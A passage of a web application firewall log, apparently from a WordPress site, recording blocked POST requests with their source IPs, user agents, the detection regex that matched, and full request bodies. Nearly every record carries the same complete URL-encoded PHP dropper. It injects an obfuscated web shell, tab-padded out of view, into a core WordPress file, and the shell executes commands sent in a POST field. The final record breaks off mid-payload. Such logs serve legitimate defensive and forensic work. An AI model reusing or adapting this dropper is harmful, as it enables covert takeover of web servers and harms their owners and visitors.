25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:46","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:8879\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nBX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257B%2524dependency_resolver1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver2%2529%2529%257Bprint%2520%2524dependency_resolver2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver3%2529%2529%257B%2524dependency_resolver3%2528%2524config_manager%252C%2524record_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524record_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver4%2529%2529%257B%2524dependency_resolver4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524dependency_resolver5%2529%2526%2526function_exists%2528%2524dependency_resolver6%2529%2526%2526function_exists%2528%2524dependency_resolver7%2529%2529%257B%2524flag_tkn%253D%2524dependency_resolver5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524flag_tkn%2529%257B%2524factor_hld%253D%2524dependency_resolver6%2528%2524flag_tkn%2529%253B%2524dependency_resolver7%2528%2524flag_tkn%2529%253Bprint%2520%2524factor_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:48","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524k1%2520%253D%2520%25277%2527%253B%2524k2%2520%253D%2520%25273%2527%253B%2524k3%2520%253D%2520%25275%2527%253B%2524k4%2520%253D%2520%25276%2527%253B%2524k5%2520%253D%2520%2527d%2527%253B%2524k6%2520%253D%2520%2527c%2527%253B%2524k7%2520%253D%2520%2527f%2527%253B%2524k8%2520%253D%2520%25278%2527%253B%2524k9%2520%253D%2520%25271%2527%253B%2524k10%2520%253D%2520%25274%2527%253B%2524k11%2520%253D%2520%25270%2527%253B%2524k12%2520%253D%2520%2527e%2527%253B%2524k13%2520%253D%2520%25279%2527%253B%2524k14%2520%253D%2520%25272%2527%253B%2524dependency_resolver1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25273%2527%2520.%2520%2524k1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k5%2529%253B%2524dependency_resolver2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k6%2520.%2520%2524k3%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%2524k3%2520.%2520%2524k1%2520.%2520%2524k8%2520.%2520%2524k4%2520.%2520%2524k3%2520.%2520%25276%2527%2520.%2520%2524k2%2529%253B%2524dependency_resolver4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524k10%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524k1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524dependency_resolver5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524k1%2520.%2520%2524k11%2520.%2520%25276%2527%2520.%2520%2524k3%2520.%2520%2524k4%2520.%2520%2524k12%2529%253B%2524dependency_resolver6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2524k9%2520.%2520%2524k4%2520.%2520%2524k5%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%25275%2527%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k2%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%25276%2527%2520.%2520%2524k12%2520.%2520%2524k1%2520.%2520%2524k10%2520.%2520%2524k4%2520.%2520%25275%2527%2520.%2520%2524k4%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524dependency_resolver7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524k7%2520.%2520%2524k1%2520.%2520%2524k2%2520.%2520%2524k4%2520.%2520%25275%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524k4%2520.%2520%25273%2527%2520.%2520%2524k4%2520.%2520%2524k7%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%2524k4%2520.%2520%2524k4%2520.%2520%25276%2527%2520.%2520%2524k13%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524k3%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524k5%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524k4%2520.%2520%2524k12%2520.%2520%25276%2527%2520.%2520%2524k9%2520.%2520%25276%2527%2520.%2520%2524k1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524k1%2520.%2520%2524k14%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524dependency_resolver1%2529%2529%257